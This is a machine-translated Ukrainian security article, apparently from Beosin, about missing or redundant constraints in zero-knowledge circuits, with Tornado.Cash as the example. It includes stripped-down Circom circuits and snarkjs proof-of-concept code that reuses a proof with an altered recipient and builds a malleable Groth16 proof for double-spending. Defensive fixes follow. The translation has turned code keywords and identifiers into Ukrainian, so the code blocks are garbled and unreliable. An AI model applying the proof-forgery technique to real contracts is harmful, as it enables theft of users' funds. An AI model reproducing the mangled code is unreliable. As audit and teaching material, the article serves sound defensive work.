Автор цієї статті: експерти з безпеки Beosin Saya & Bryce

1. Введення

Проект ZKP (Zero-Knowledge Proof) в основному складається з двох частин: схеми поза ланцюгом і контракти в ланцюзі. Частина схеми передбачає абстракцію обмежень бізнес-логіки та складні базові знання криптографії, тому ця частина складна для сторони проекту ** Нижче наведено приклад безпеки, який сторони проекту легко ігнорують – «зайві обмеження». Мета полягає в тому, щоб нагадати сторонам проекту та користувачам звернути увагу на пов’язані ризики безпеки . **

2. Чи можна видалити зайві обмеження

Під час аудиту проектів ZKP ви зазвичай бачите такі дивні обмеження, але багато учасників проекту насправді не розуміють конкретного значення. Щоб зменшити труднощі повторного використання схеми та заощадити споживання обчислювальних ресурсів поза мережею, деякі обмеження можуть бути видалені, таким чином викликають проблеми безпеки:

Ми порівняли кількість обмежень, створених до та після видалення вищезазначеного коду, і виявили, що наявність або відсутність вищевказаних обмежень у реальному проекті мало впливає на загальну кількість обмежень проекту, оскільки сторона проекту їх легко ігнорує. автоматична оптимізація.

Фактична мета вищезазначеної схеми полягає лише в тому, щоб додати частину даних до доказу. Беручи приклад Tornado.Cash, додаткові дані включають: адресу отримувача, адресу ретранслятора, плату за обробку тощо, оскільки ці сигнали не впливають фактичний розрахунок наступної схеми. , тому це може викликати плутанину серед деяких інших учасників проекту, таким чином видаляючи їх із схеми, що призведе до пограбування транзакцій деяких користувачів.

Нижче буде взято проект простої приватної транзакції Tornado.Cash як приклад для представлення цієї атаки. Ця стаття видаляє відповідні сигнали та обмеження додаткової інформації в схемі та виглядає так:

включають "../../../../node_modules/circomlib/circuits/bitify.circom"; include "../../../../node_modules/circomlib/circuits/pedersen.circom";include "merkleTree.circom";template CommitmentHasher() { нуліфікатор вхідного сигналу; секрет входу сигналу; зобов'язання щодо виведення сигналу; // вихід сигналу nullifierHash; компонент commitmentHasher = Pedersen(496); // компонент nullifierHasher = Pedersen(248); компонент nullifierBits = Num2Bits(248); компонент secretBits = Num2Bits(248); nullifierBits.in <== nullifier; secretBits.in <== секрет; for ( i = 0; i < 248; i++) { // nullifierHasher.in [i] <== nullifierBits.out [i] ; commitmentHasher.in [i] <== nullifierBits.out [i] ; commitmentHasher.in[i + 248] <== secretBits.out [i] ; } зобов'язання <== commitmentHasher.out [0] ; // nullifierHash <== nullifierHasher.out [0] ;}// Перевіряє, що зобов’язання, яке відповідає заданому секрету та нуліфікатору, включено в дерево Merkle шаблону депозитів Withdraw(levels) { signal input root; // вхід сигналу nullifierHash; зобов'язання щодо виведення сигналу; // одержувач введення сигналу; // не бере участь у жодних обчисленнях // вхідний реле сигналу; // не брати участі в жодних обчисленнях // плата за введення сигналу; // відсутність участі в обчисленнях // відшкодування вхідного сигналу; // не бере участь у жодних обчисленнях signal input nullifier; секрет входу сигналу; // вхідний сигнал pathElements [levels] ; // вхідний сигнал pathIndices [levels] ; хешер компонента = CommitmentHasher(); hasher.nullifier <== nullifier; hasher.secret <== секрет; зобов'язання <== hasher.commitment; // hasher.nullifierHash === nullifierHash; // дерево компонентів = MerkleTreeChecker(levels); // tree.leaf <== hasher.commitment; // дерево.корінь <== корінь; // for ( i = 0; i < levels; i++) { // tree.pathElements [i] <== pathElements [i] ; // tree.pathIndices [i] <== pathIndices [i] ; // } // Додайте приховані сигнали, щоб переконатися, що втручання в одержувача чи плату призведе до недійсності доказу snark // Швидше за все, це не обов’язково, але краще залишатися на безпечній стороні, оскільки для цього потрібно лише 2 обмеження // Квадрати є використовується, щоб запобігти видаленню оптимізатором цих обмежень // signal recipientSquare; // сигнал feeSquare; // реле сигналуSquare; // сигнал refundSquare; // recipientSquare <== recipient * recipient; // feeSquare <== fee * fee; // relayerSquare <== relayer * relayer; // refundSquare <== refund * refund;}component main = Withdraw(20);

Щоб полегшити розуміння, ця стаття видаляє частини, пов’язані з перевіркою Merkle Tree і nullifierHash у схемі, а також анотує адресу одержувача та іншу інформацію. У контракті on-chain, створеному цією ланцюгом, ця стаття використовує дві різні адреси для одночасної перевірки. Можна виявити, що обидві різні адреси можуть пройти перевірку:

Але коли наступний код додається до обмежень схеми, можна виявити, що лише адреса одержувача, встановлена в схемі, може пройти перевірку:

одержувач введення сигналу; // не бере участі в жодних обчисленнях вхідного ретранслятора сигналу; // відсутність участі в обчисленнях вхідної плати за сигнал; // відсутність участі в будь-яких обчисленнях вхідного сигналу відшкодування; // не бере участі в жодних обчисленняхsignal recipientSquare;signal feeSquare;signal relayerSquare;signal refundSquare;recipientSquare <== recipient * recipient;recipientSquare <== recipient * recipient;feeSquare <== fee * fee;relayerSquare <== relayer * relayer ;refundSquare <== refund * refund;

Таким чином, коли доказ не прив’язаний до одержувача, можна виявити, що адресу одержувача можна змінити за бажанням, а підтвердження zk можна перевірити.Тоді, коли користувач хоче зняти гроші з пулу проекту, його можуть пограбувати MEV. Нижче наведено приклад попередньої атаки MEV на DApp для торгівлі конфіденційністю:

3. Неправильний спосіб написання надлишкових обмежень

Крім того, є дві поширені помилки при записі в схемі, які можуть призвести до більш серйозних атак подвійного витрачання: одна полягає в тому, що вхідний сигнал встановлено в схемі, але сигнал не обмежений, а інша полягає в тому, що численних обмежень на сигнал Між ними існує лінійна залежність. На малюнку нижче показано загальні процеси обчислення Prove і Verify алгоритму Groth16:

Доказ генерує доказ Доказ π = ( [A] 1, [C] 1, [B] 2):

Після того, як верифікатор отримає доказ π[A, B, C], він обчислює таке рівняння перевірки. Якщо воно встановлено, перевірка проходить, інакше перевірка не виконується:

3.1 Сигнал не бере участі в обмеженнях

Якщо певний загальнодоступний сигнал Zi не має жодних обмежень у схемі, то для його обмеження j значення наступної формули завжди дорівнює 0 (де rj є випадковим значенням виклику, яке Верифікатору потрібно обчислити Провером):

Водночас це означає, що для Zi будь-який x має таку формулу:

Таким чином, наступний вираз у рівнянні перевірки має для сигналу x:

Оскільки рівняння перевірки виглядає наступним чином:

Можна виявити, що незалежно від значення Zi, результат цього обчислення завжди дорівнює 0.

Ця стаття модифікує схему Tornado.Cash наступним чином. Ви бачите, що схема має 1 загальнодоступного одержувача вхідного сигналу та 3 приватних сигналу root, nullifier і secret. Одержувач не має жодних обмежень у схемі:

шаблон Витяг (рівні) { корінь входу сигналу; зобов'язання щодо виведення сигналу; одержувач введення сигналу; // не бере участь у жодних обчисленнях signal input nullifier; секрет входу сигналу; хешер компонента = CommitmentHasher(); hasher.nullifier <== nullifier; hasher.secret <== секрет; commitment <== hasher.commitment;}component main {public [recipient] }= Вилучити(20);

Цю статтю буде перевірено на останній бібліотеці snarkjs версії 0.7.0, і її код неявного обмеження буде видалено, щоб продемонструвати ефект атаки подвійного витрачання, коли в схемі немає сигналу обмеження. Основний код exp виглядає наступним чином:

асинхронна функція groth16_exp() { let inputA = "7"; нехай inputB = "11"; нехай inputC = "9"; нехай inputD = "0x8db97C7cEcE249c2b98bDC0226Cc4C2A57BF52FC"; await newZKey( reject2.r1cs, powersOfTau28_hez_final_14.ptau, reject2_0000.zkey, ) await beacon( reject2_0000.zkey, reject2_final.zkey, "Final Beacon", "0102030405060708090a0b0c0d0e0f101) 112131415161718191a1b1c1d1e1f", 10, ) const verificationKey = очікування exportVerificationKey(withdraw2_final.zkey) fs .writeFileSync(withdraw2_verification_key.json, JSON.stringify(verificationKey), "utf-8") let { proof, publicSignals } = await groth16FullProve({ root: inputA, nullifier: inputB, secret: inputC, recipient: inputD }, "withdraw2 .wasm", "withdraw2_final.zkey"); console.log("publicSignals", publicSignals) fs.writeFileSync(public1.json, JSON.stringify(publicSignals), "utf-8") fs.writeFileSync(proof.json, JSON.stringify(proof), "utf-8" ") перевірити (publicSignals, доказ); publicSignals [1] = "4" console.log("publicSignals", publicSignals) fs.writeFileSync(public2.json, JSON.stringify(publicSignals), "utf-8") verify(publicSignals, proof);}

Ви бачите, що обидва згенеровані докази пройшли перевірку:

3.2 Обмеження лінійної залежності

шаблон Витяг (рівні) { корінь входу сигналу; // вхід сигналу nullifierHash; зобов'язання щодо виведення сигналу; одержувач введення сигналу; // не бере участі в обчисленнях вхідний ретранслятор сигналу; // не бере участі в жодних обчисленнях вхідна плата за сигнал; // не брати участі в жодних обчисленнях // відшкодування вхідного сигналу; // не бере участь у жодних обчисленнях signal input nullifier; секрет входу сигналу; // вхідний сигнал pathElements [levels] ; // вхідний сигнал pathIndices [levels] ; хешер компонента = CommitmentHasher(); hasher.nullifier <== nullifier; hasher.secret <== секрет; зобов'язання <== hasher.commitment; сигнальний вхід Square; // recipientSquare <== recipient * recipient; // feeSquare <== fee * fee; // relayerSquare <== relayer * relayer; // refundSquare <== refund * refund; 35 * Квадрат === (2одержувач + 2ретранслятор + плата + 2) * (ретранслятор + 4);}component main {public [recipient,Square]}= Вилучити(20);

Наведена вище схема може призвести до атаки подвійного витрачання. Конкретний базовий код досвіду такий:

const buildMalleabeC = async (orignal_proof_c, publicinput_index, orginal_pub_input, new_public_input, l) => { const c = unstringifyBigInts(orignal_proof_c) const { fd: fdZKey, sections: sectionsZKey } = await readBinFile("tornadocash_final.zkey", "z ключ", 2 , 1 << 25, 1 << 23) const buffBaseC = очікувати readSection(fdZKey, sectionsZKey, 8) fdZKey.close() const curve = очікувати buildBn128(); const Fr = крива.Fr; const G1 = крива.G1; const new_pi = новий Uint8Array(Fr.n8); Scalar.toRprLE(new_pi, 0, new_public_input, Fr.n8); const matching_pub = новий Uint8Array(Fr.n8); Scalar.toRprLE(matching_pub, 0, original_pub_input, Fr.n8); const sGIn = curve.G1.F.n8 * 2 const matching_base = buffBasesC.slice(publicinput_index * sGIn, publicinput_index * sGIn + sGIn) const linear_factor = Fr.e(l.toString(10)) const delta_lf = Fr.mul( linear_factor, Fr.sub(matching_pub, new_pi)); const p = await curve.G1.timesScalar(matching_base, delta_lf); const affine_c = G1.fromObject(c); const malleable_c = G1.toAffine(G1.add(affine_c, p)) return stringifyBigInts(G1.toObject(malleable_c))}

Після зміни частини коду бібліотеки ми протестували його на snarkjs версії 0.7.0. Результати показали, що обидва наступні фейкові докази можуть пройти перевірку:

• publicsingnal1 + proof1

• publicsingnal2 + proof2

4 виправлення

Код бібліотеки 4.1 zk

Зараз деякі популярні бібліотеки zk, такі як бібліотека snarkjs, неявно додадуть деякі обмеження до схеми, наприклад найпростіше обмеження:

Наведена вище формула математично завжди вірна, тому незалежно від фактичного значення сигналу та відповідності будь-яким обмеженням, воно може бути неявно та рівномірно додано до схеми бібліотечним кодом під час налаштування. Крім того, квадратні обмеження в першому розділі є використовується в схемі Це безпечніший підхід. Наприклад, snarkjs неявно додає такі обмеження під час генерації zkey під час налаштування:

4.2 Схема

Коли сторона проекту розробляє схему, оскільки використана стороння бібліотека zk може не додавати додаткових обмежень під час налаштування або компіляції,** ми рекомендуємо, щоб сторона проекту намагалася забезпечити цілісність обмежень на рівні розробки схеми та суворо контролювати Усі сигнали юридично обмежені для забезпечення безпеки, наприклад, квадратне обмеження, показане раніше. **